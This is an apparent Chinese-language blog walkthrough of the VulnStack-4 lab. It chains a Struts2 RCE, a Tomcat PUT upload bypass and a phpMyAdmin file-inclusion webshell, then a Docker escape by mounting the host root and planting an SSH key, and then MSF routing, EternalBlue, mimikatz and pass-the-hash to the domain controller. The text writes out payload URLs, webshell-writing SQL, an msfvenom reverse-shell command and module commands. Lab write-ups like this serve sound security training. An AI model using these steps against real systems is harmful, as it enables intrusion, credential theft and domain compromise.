内网提权教程——VulnStack-4靶场内网横向解析(Struts2,Tomcat,phpmyadmin漏洞利用,Dockers容器逃逸,Socks代理内网,PTH横向)
本次实践围绕内网渗透与漏洞利用展开,综合运用了多种攻防技术与工具。从Web应用层面的Struts2、Tomcat及phpMyAdmin漏洞测试,到容器环境下的Docker逃逸,再到利用Metasploit框架进行内网代理配置、密码哈希提取与端口扫描,最终通过PTH攻击实现域内横向渗透并将目标会话迁移至Cobalt Strike。整个过程覆盖了从边界突破到内网纵深的完整渗透链路,展现了从获取初始权限到掌控域内资源的全流程攻防思路。
前置准备
本次靶场渗透反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞,希望能对大家有所启发;
靶场机器密码:
- ubuntu /
ubuntu- douser /
Dotest123- administrator /
Test2008
网络配置
首先我们需要分别配置三台主机的网络,NAT网段192.168.44.0/24 和内网网段10.10.10.0/24 :

(1)Web主机—双网卡:NAT和内网网段
(2)内网Win7主机:内网网段
(3)域控DC:内网网段
- Web主机地址:
192.168.44.128和10.10.10.24 - 内网Win7:
10.10.10.25 - 域控DC:
10.10.10.26
同时需要在ubuntu的web机器上,手动开启服务:
首先需要Ctrl+Alt+T 打开一个命令终端,随后切换到相应目录:

随后进入到相应服务开启即可:
1 | cd /home/ubuntu/Desktop/vulhub/struts2/s2-045 |
成功启动服务:

内网的拓扑图结构
内网的拓扑图结构如下:

至此,可以开始我们的渗透了;
信息收集
首先我们需要知道目标主机具体开放哪些服务以及端口,具体结果如下:
可以使用多种工具goby,xray,namp,御剑等;


可以看到,目标机器开启了四个服务:
- 22/tcp -
ssh- OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 - 2001/tcp -
Jetty9.2.11.v20150529 - 2002/tcp -
Apache Tomcat 8.5.19 - 2003/tcp - Apache httpd 2.4.25 (Debian) -
phpMyAdmin 4.8.1
上述开放的Tomcat 8.x和phpmyadmin 4.8.x 都是低版本可以利用的RCE漏洞,而2001端口,通过访问,也是发现其服务为struts2服务:
Struts2漏洞利用
通过访问 http://192.168.44.128:2001/ 结果如下:

可以看到,该页面是一个上传文件页面。
Struts 2框架是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts 2作为控制器来建立模型与视图的数据交互。常见的漏洞主要有:
- S2-045(CVE-2017-5638)基于 Jakarta Multipart 解析器的远程代码执行漏洞,影响 Struts 2.3.5–2.3.31、2.5–2.5.10 版本,攻击者可通过构造恶意Content-Type头执行任意代码。
- S2-048(CVE-2017-9791)
Struts2 REST 插件的远程代码执行漏洞,影响 2.5.0–2.5.12 版本,攻击者可构造恶意请求触发代码执行。- S2-052(CVE-2017-9805)
Struts2 REST 插件 XStream 反序列化漏洞,影响 2.5.0–2.5.12 版本,可导致远程代码执行。- S2-061(CVE-2020-17530)
OGNL 注入漏洞,影响 Struts 2.3.35 之前、2.5.22 之前版本,攻击者可构造恶意请求执行任意代码。
web目录枚举(失败)
仅仅只有一个文件上传页面不够的,所以我们可以对其进行Web目录扫描:
可以看到结果如下:

或者使用dirsearch:
1 | # 保留常见状态码 |
但是并没有什么可利用的信息:

既然如此,那就换个方法;
冰蝎连接上线Webshell
这里我们通过工具检测发现了可能存在的漏洞:

尝试执行命令:

可以看到直接获取了服务器的最高权限root;
随后我生成了一个冰蝎的木马,随后上传Webshell:

将其添加到冰蝎,成功上线目标机器:


这里我还尝试过哥斯拉以及php,asp等格式文件,均失败;
- 只有
冰蝎的jsp文件才能上传成功;- 如果有其他成功的方法,可私信我,欢迎大家讨论分享;
Tomcat 8.5.19 漏洞利用
访问网址http://192.168.44.128:2002/,页面如下:

而该版本的Tomcat也是存在很多高危漏洞的:
- CVE-2017-12615(任意文件上传 / 远程代码执行)
- 风险:当启用 HTTP PUT 方法(如将readonly参数设为false)时,攻击者可上传恶意 JSP 文件并执行任意代码,获取服务器权限。
- CVE-2020-1938(Ghostcat,AJP 协议文件读取 / 包含)
- 风险:AJP Connector 默认开启,攻击者可通过构造恶意请求读取任意文件(如/WEB-INF/web.xml)或包含恶意文件,导致信息泄露或代码执行。
核心修复建议:
- 优先升级版本:直接升级到 Tomcat 8.5.x 的最新稳定版(如 8.5.99+),可覆盖绝大多数已知漏洞。
Web目录枚举(失败)
还是老样子,对其进行扫描:

同样未发现敏感目录。
Tomcat任意文件上传
这里我们随便抓一个http://192.168.44.128:2002/ 的包,然后对请求包进行修改:
- 数据包的请求方式修改为
PUT - 请求的URI修改为
/shell2.jsp/ - 请求头部新增请求头
Content-Type:application/x-www-form-urlencoded

(失败?这里用了我二十分钟,终于找到了原因:)
这里发现后缀为
jsp的格式好像是上传不成功,那么我们可以尝试绕过,这里绕过的方式有很多,可以文件流绕过,可以空格绕过,可以”/“绕过,大家可以自己尝试,这里我用”/“绕过
- 也就是jsp后缀加上’
\‘ 即可;
成功:

成功上线第二个Webshell:

phpmyadmin漏洞利用
访问http://192.168.44.128:2003/ ,不需要任何账号密码,直接得到数据库的页面:

可以看到,phpmyadmin服务的版本为 4.8.1 ,数据库版本为`MySQL 5.5.62版本
CVE-2018-12613(远程文件包含):构造index.php?target=db_sql.php%253f/../../../../../../etc/passwd读取敏感文件CVE-2018-12615(SQL 注入):在db_central_columns.php中注入 SQL 语句,如?db=mysql&table=user&column_name=user%27+UNION+SELECT+1,2,3,4,5,6,7,8,9,10–+弱密码 / 暴力破解:使用 Hydra 等工具爆破登录口,获取后台权限
所以,我们可以通过phpMyAdmin漏洞POC检测该phpMyAdmin框架是否存在相关的漏洞;
随后尝试访问http://192.168.44.128:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd,**发现漏洞存在**:
1 | /index.php?target=db_sql.php%253f/../../../../../../etc/passwd |

文件包含漏洞获取服务器权限
原理:
- 我们在数据库SQL模块输入命令后,数据库系统会在后台随机生成一个
session文件;- 而临时session文件名可通过Burp Suite抓取数据包获得;
- 临时session文件保存在
/tmp目录下,所以构造并访问URL进行文件包含漏洞攻击;- 所以我们可以通过类似于
日志注入的方法来上传Webshell;
比如执行SQL语句时:

结果如下:

访问/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_73adf43fa469e01bc73f6d0edccd7702
可以看到确实可以未授权访问:

基于上述原理,我们将Webshell语句写入SQL语句也是一件很容易的事情;
1 | select '<?php echo 'echo "<?php eval(base64_decode(冰蝎3 webshell base64内容)); ?>" > /var/www/html/shell3.php';?>'; |
结果如下:

相应的文件为:/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_73adf43fa469e01bc73f6d0edccd7702
它将被写入/var/www/html/shell3.php中;使用冰蝎3 webshell管理工具连接http://192.168.96.21:2003/shell3.php即可连接成功;
Docker服务器逃逸
Struts2服务
这里我们选择struts2服务的冰蝎shell进入,查看当前主机的系统,环境,内核版本等基本信息:

可以看到当前主机为一台低版本的Ubuntu主机
通过虚拟命令行执行如下命令:
1 | find / -name .dockerenv |
该命令用于在当前服务器上查找是否存在.dockerenv文件。如果当前服务器上存在.dockerenv文件,则输出.dockerenv文件的绝对路径;

结果如图,在当前服务器上查找到了.dockerenv文件,这代表我们获得的Tomcat服务器权限是Docker容器权限。
由于Docker容器是与物理机隔离的,所以我们需要进行Docker逃逸。
- Docker逃逸:是指利用Docker容器可能存在的不安全配置,将获得的Docker容器权限转变为物理机权限;
这里我们在Docker容器内可以通过使用cdk进行不安全配置扫描。cdk是一个开源的Docker容器渗透工具包:
作用:cdk可以检测当前Docker容器内是否存在不安全的配置和漏洞,并可以通过不安全的配置和漏洞进行Docker逃逸;
下载后将工具上传到目标机器:

1 | # 赋权 |
结果如下:

未发现当前Docker容器内存在不安全的配置和漏洞。
Tomcat服务
这里我们选择tomcat服务的冰蝎shell进入,其他步骤同理:
当前Docker容器是以特权模式启动的,所以可以使用mount命令将物理机根目录挂载到Docker容器中的某个目录中:
1 | # 赋权 |

1 | # 挂载目录 |
该命令首先会在Docker容器中的/tmp目录下生成一个cdk_xxxxx文件(xxxxx为随机字母组成),再将物理机的根目录挂载到/tmp/cdk_xxxxx目录下。

1 | # 切换目录 |
结果如下:

物理机根目录挂载到/tmp/cdk_lrGoO后,可以通过写计划任务或写SSH密钥的方式获取物理机权限。
写入SSH密钥获取权限
于是我们在kali上生成,直接回车:

密钥文件已生成在/root/.ssh/目录下;
查看SSH公钥内容:

回到Tomcat服务器,之前已经将物理机的根目录挂载到/tmp/dk_ceufh目录下,再将SSH公钥内容写入到物理机/root/.ssh/目录下的authorized_keys文件:
1 | cd /tmp/cdk_lrGoO/root/.ssh/ |

1 | # 创建目录 |

之后就可以使用SSH私钥登录物理机了;(复制kali的id_rsa即可)

可以看到成功登上:

phpmyadmin服务
这个数据库也是同理,不过由于Web服务器的版本为:Linux 09dd4e5bfa91 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64 GNU/Linux 所以可以使用脏牛内核漏洞来进行提取;
具体步骤可以看这几篇文章(写了很多次),这里就不再演示:
内网横向——配置socks代理
MSF配置代理
这里我们对Web服务器信息搜集后,发现存在两个网段:

所以我们可以使用任何方法来配置socks代理:CS,MSF,stowaway,frp等;
- 想用Linux打内网,就用MSF,CS等;
- 想用Windows打内网,就用
proxifier;
这里我使用MSF,毕竟用得比较多:
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=5555 -f exe > MSF.exe |

随后将生成的payload上传到目标机器,然后执行,即可返回一个会话session:


内网信息收集
接下来我们就可以对内网网段是否还有其他主机信息扫描了:
为了探测10.10.10.0/24网段其他主机的信息,需要添加相应的网段路由:
1 | run autoroute -s 10.10.10.0/24 |

配置好路由之后就可以对内网存活的主机进行探测了:
1 | use auxiliary/scanner/discovery/udp_probe |
得到结果:

发现了两台新主机:10.10.10.25和10.10.10.26并且均为Windows主机;
proxifier扫描
Windows系统也是一样的:(收集到信息还比MSF更详细一些:域名,主机名等)


横向内网PC主机
- 利用MSF对Windows服务器445端口的SMB服务进行漏洞检测
- 根据工具对内网存活主机的扫描结果,得知Windows 7主机10.10.10.25开启了445端口,即SMB服务。因此,通过Metasploit尝试对
10.10.10.25进行MS17-010漏洞检测:
1 | search ms17-010 |

这里我们使用exploit/windows/smb/ms17_010_eternal-blue模块进行漏洞测试。
因为10.10.10.25在内部网络中,所以测试模块exploit/windows/smb/ms17_010_eternalblue的payload要选择正向payload,即windows/x64/meterpreter/bind_tcp。
1 | use exploit/windows/smb/ms17_010_eternalblue |
成功返回内网主机的最高权限SYSTEM:

这里我将MSF的会话权限转换到CS,使用的模块为:
mimikatz获取NTLM哈希
我们得到内网主机PC的最高权限后,就可以上传mimikatz 来收集用户的Hash值:
1 | # 1. 上传 mimikatz.exe 到目标主机(路径根据你的环境调整) |

此时我们获得了内网PC主机的NTLM Hash值;
使用PTH横向域控
执行命令,运行 exploit/windows/smb/psexec 模块,设置正向 payload,设置测试目标为10.10.10.26:
1 | use exploit/windows/smb/psexec |
输入SMBUser和SMBPass:

等待PTH攻击过程结束后,成功获取另一台主机域控DC的权限;
总结一下:
- 在MSF添加了网段10.10.10.0/24的路由后,使用MSF自带的MS17-010模块对10.10.10.25(内网Win7主机) 进行测试并成功获得其会话;
- 在该服务器上进行域内信息收集,发现10.10.10.26域控DC是域控服务器,它在域内还有另一台主机(Web主机:192.168.44.128、10.10.10.24)。
- 在域控服务器的MSF session中利用smart_hashdump模块将域内所有用户的密码哈希导出,之后通过PTH攻击获得域内另一台主机;
总结
我们来对这次实践中用到的知识点和操作方法进行重新梳理:
- Struts2 安全测试:借助 S2-045 高危漏洞对 Struts2 应用发起攻击,从而获取该应用所在服务器的控制权。
- Tomcat 安全测试:通过 Tomcat 存在的任意文件上传漏洞实施攻击,进而取得 Tomcat 应用服务器的操作权限。
- phpMyAdmin 安全测试:借助任意文件包含漏洞对 phpMyAdmin 应用进行渗透,成功获取该应用服务器的控制权限。
- Docker 容器逃逸:针对 Docker 容器的配置缺陷展开利用,实现从容器环境逃逸至内网宿主机,并获取其控制权。
- MSF 内网代理配置:使用 Metasploit 框架配置内网代理,打通网络边界,为后续渗透操作铺路。
- Windows 密码哈希提取:借助 MSF 的 smart_hashdump 模块,从内网 Windows 服务器(尤其是域控制器)中导出用户密码哈希值。
- 内网端口探测:对内网环境中的其他服务器开展端口扫描,识别并定位可作为攻击入口的开放端口。
- PTH 攻击与 CS 会话迁移:在获取到域内服务器的密码哈希后,通过 Pass-the-Hash(PTH)攻击横向移动,控制其他域内服务器,并将其会话迁移至 Cobalt Strike。
期待下次再见;
- 标题: 内网提权教程——VulnStack-4靶场内网横向解析(Struts2,Tomcat,phpmyadmin漏洞利用,Dockers容器逃逸,Socks代理内网,PTH横向)
- 作者: W1nner丶
- 创建于 : 2026-02-13 18:27:15
- 更新于 : 2026-06-04 12:37:50
- 链接: https://tamoon1.github.io/2026/02/13/Internal-network-4/
- 版权声明: [object Object]